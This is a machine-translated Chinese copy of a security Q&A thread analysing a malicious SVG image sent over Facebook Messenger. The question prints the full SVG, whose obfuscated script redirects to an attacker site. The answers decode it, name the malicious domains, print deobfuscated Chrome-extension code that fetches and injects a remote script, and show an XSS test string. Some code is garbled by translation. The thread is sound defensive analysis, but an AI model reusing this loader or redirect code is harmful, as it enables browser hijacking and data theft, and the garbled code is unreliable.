我通过 Facebook 消息收到了一个可疑的 SVG 文件。它有什么作用?

信息安全 病毒
2021-09-03 00:34:48

这个文件试图做什么?

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function jxnpgmlk(wvdxrc,lecho,jqgws){
      var uxheu = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
      var uahflv = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc\/OVM:dLg7oBpA8eSz53","M0:ARfNp1cv\/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj","aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5\/=JOij7s6C","Iu2b=zPK0\/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
      var gzzxb = "";
      var jfort = 0;
      while(uahflv[jfort]){
        jfort++;
      }
      var xlmjv = 0;
      while(wvdxrc[xlmjv]){
        var uxqpon = 0;
        var aljmjv = -1;
        while(uxheu[uxqpon]){
          if(uxheu[uxqpon] == wvdxrc[xlmjv]){
            aljmjv = uxqpon;
            break;
          }
          uxqpon++;
        }
        if(aljmjv >= 0){
          var sqakm = 0;
          var ehtbzd = -1;
          while(uahflv[xlmjv%jfort][sqakm]){
            if(uahflv[xlmjv%jfort][sqakm] == wvdxrc[xlmjv]){
              ehtbzd = sqakm;
              break;
            }
          sqakm++;
          }
          gzzxb += uxheu[ehtbzd];
        }else{
          gzzxb += wvdxrc[xlmjv];
        }
        xlmjv++;
      }
      var swidsm = "";
      for(yokncr=lecho;yokncr<gzzxb.length;yokncr++){
        swidsm += gzzxb[yokncr];
      }
      gzzxb = swidsm;
      return gzzxb;
    }
  var yaqjv = window;
  var cujnl = jxnpgmlk("OEoqu71jy",6,true);
  var gnqrek = jxnpgmlk("_9Npy9P5tSxq?Ca3tda0loX",15,false);
  var zvlgj = jxnpgmlk("66/X_X",2,true);
  yaqjv[cujnl][gnqrek][zvlgj] = jxnpgmlk("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy",2,true);
  ]]></script>
</svg>
3个回答

此文件是病毒的一部分。

这是一个包含混淆 JS 代码的 SVG 图像文件,可将您重定向到恶意网站。该网站将尝试安装恶意软件(Chrome 浏览器插件)并将 SVG 文件转发给您的 Facebook 联系人。如果您认为自己被感染了,请按照以下说明操作:救命!我家的电脑被病毒感染了!现在我该怎么做?

快速分析

攻击者可能选择了 SVG 文件,因为它是一种看起来很无辜的图像格式,并且比可执行文件或 HTML 文件(Facebook 也禁止其传输)更不可疑。但尽管是图形,SVG 也可以包含活动脚本代码。

该文件本身包含一个<script>由两部分组成的模糊内联段。第一部分是jxnpgmlk()充当解码器的函数,它对作为输入的任何字符串进行解密。确切的算法并不重要,因为我们可以简单地将函数应用于任何加扰的字符串。第二部分是一个非常短的有效载荷。这里定义的几个字符串可以通过使用解码功能简单地解读,结果如下:

var cujnl = "顶部";
var gnqrek = "位置";
var zvlgj = "href";
窗口[cujnl][gnqrek][zvlgj] = "http://mourid.com/php/trust.php";

所以本质上,所有这些代码所做的就是将你重定向到http://mourid.com/php/trust.php.

从那里,另外两个 302 重定向跟随到http://kerman.pw/php/trust.phphttp://kerman.pw/?fb_dsa最后一页伪造了 Youtube 视频页面的外观,以欺骗用户安装所谓的“丢失的编解码器”。相反,系统会提示您安装这个名为“One”的恶意 Chrome 扩展程序:

https://chrome.google.com/webstore/detail/one/olonepdliekllagcdgmlbihgcplinegj
编辑:谷歌最终从 Chrome 网上应用店中删除了该扩展,但周围可能还有其他实例。

我手动下载了扩展文件并快速查看了混淆的源代码。扩展清单定义了几个安装后立即加载的后台脚本。这是我去混淆的重要部分:

这个["fetch"]("http://cerawa.pw/manalovuci/kojakumoda.bg")["then"](function(kkuruv) {
    如果 (kkuruv["ok"]) {
        kkuruv["blob"]()["then"](function(yxbnjo) {
            var pklimw = this["URL"]["createObjectURL"](yxbnjo);
            var yxyiq = this["document"]["createElement"]("script");
            yxyiq["src"] = pklimw;
            这个["文档"]["头"]["appendChild"](yxyiq);
        });
    }
});

正如你所看到的,扩展从http://cerawa.pw/manalovuci/kojakumoda.bg. (请注意,如果您不发送 Chrome 用户代理,该页面将不会返回任何内容。)该响应将转换为对象 URL,并在浏览时附加到每个文档,从而有效地使攻击者远程控制您的浏览会话。


似乎恶意软件只能由用户交互触发,所以如果你没有安装扩展程序,你可能是安全的。但是由于该页面可以轻松地向不同的用户代理或不同的国家/地区提供不同的恶意软件,因此无法绝对确定您在访问该站点时没有被感染。如果有疑问,是时候从轨道上对其进行核打击了

奖励:有趣的是,该页面也容易受到 XSS 的攻击。但我猜他们没有适当的漏洞赏金计划......(http://kerman.pw/"><script>alert(1)</script>)。

我也得到了这个“奇妙”的东西,我玩了一下。事实证明,它仅在您使用“Chrome”时才会激活,因为它会尝试安装名为“One”的扩展程序,这是该死的病毒。如果您使用任何其他浏览器(Opera、Firefox、Edge、IE、Safari 等)打开它,您只会看到白页,什么都不会发生。

我认为,病毒的主要本质是扩展,因为它试图从 Facebook 窃取你的数据。当你用chrome打开它时,它看起来像这样:图片来自 Chrome

如果您单击“添加扩展程序”,您会被感染,它会重定向到 facebook。此时,您应该立即关闭 Chrome 并卸载它。或者您可以打开扩展选项卡并删除名为“One”的扩展,但我认为它不会完全删除它。

删除后,我建议更改 Facebook 密码并从所有其他实例中注销。(Facebook 提供了这样做的选项。)

该代码尝试将您的浏览器重定向到另一个网站。URL 是在 javascript 代码中的字符串变量中加密的。

如果您访问嵌入此 svg 图像的网站,它将立即重定向到 - 可能是恶意的 - 网站。为了防御 Javascript 重定向,您可以在浏览器中禁用 Javascript。


/**
* @param string ar
* @param {number} opt_attributes
* @param {boolean} recurring (unused)
* @return string
*/
function theMethod(ar, opt_attributes, recurring) {
    /** @type {string} */
    var a = "aC3YP1J7t?2R.o_gN0/5Fevz:b9ilEnjxmXTLK6dr8GpASs4IyDZk=hUVHfOcBuM";
    /** @type {Array} */
    var encrypted = ["jfTiENZCUKG=Dtxuh.Fvr_?0X9mlJa4sRHkbnY26P1Iyc/OVM:dLg7oBpA8eSz53", "M0:ARfNp1cv/bosBHlYxn.8Ok9T7IJ6GeEi3y5tmVUgKzDhur4PLC?2a_=XFdZSj", "aKEd.eMR1bZ8rzm4tfuhn0Pp3xHI9AXg?Dv_cUVy2FLTlYoSGk:BN5/=JOij7s6C", "Iu2b=zPK0/7vrj1LEARtcnUkShmG3J_.DNo46fCHXBx?i8s:T5ZepYgadOylMFV9"];
    var s = "";
    var n = encrypted.length; //
    var i = 0;

    // loop over the first argument
    for (;ar[i];) {
        var mid = 0;
        var high = -1;
        // get the index of the current character in the variable "a"
        for (;a[mid];) {
            if (a[mid] == ar[i]) {
                /** @type {number} */
                high = mid;
                break;
            }
            mid++;
        }
        // if we found the charachter in the variable "a"
        if (high >= 0) {
            var j = 0;
            var x = -1;
            for (;encrypted[i % n][j];) {
                if (encrypted[i % n][j] == ar[i]) {
                    x = j;
                    break;
                }
                j++;
            }
            // append char to solution
            s += a[x];
        } else {
            // append char to solution
            s += ar[i];
        }
        i++;
    }
    /** @type {string} */
    var u = "";
    /** @type {number} */
    aNumber = opt_attributes;
    for (;aNumber < s.length;aNumber++) {
        u += s[aNumber];
    }
    s = u;
    return s;
}
/** @type {Window} */
var cujnl = theMethod("OEoqu71jy", 6, true); // top
var gnqrek = theMethod("_9Npy9P5tSxq?Ca3tda0loX", 15, false); // location
var zvlgj = theMethod("66/X_X", 2, true); // href
window[cujnl][gnqrek][zvlgj] = theMethod("R./0UK3RFEzVP7yrSoDRy2TRUV6sUbTgy", 2, true); // the malicious URL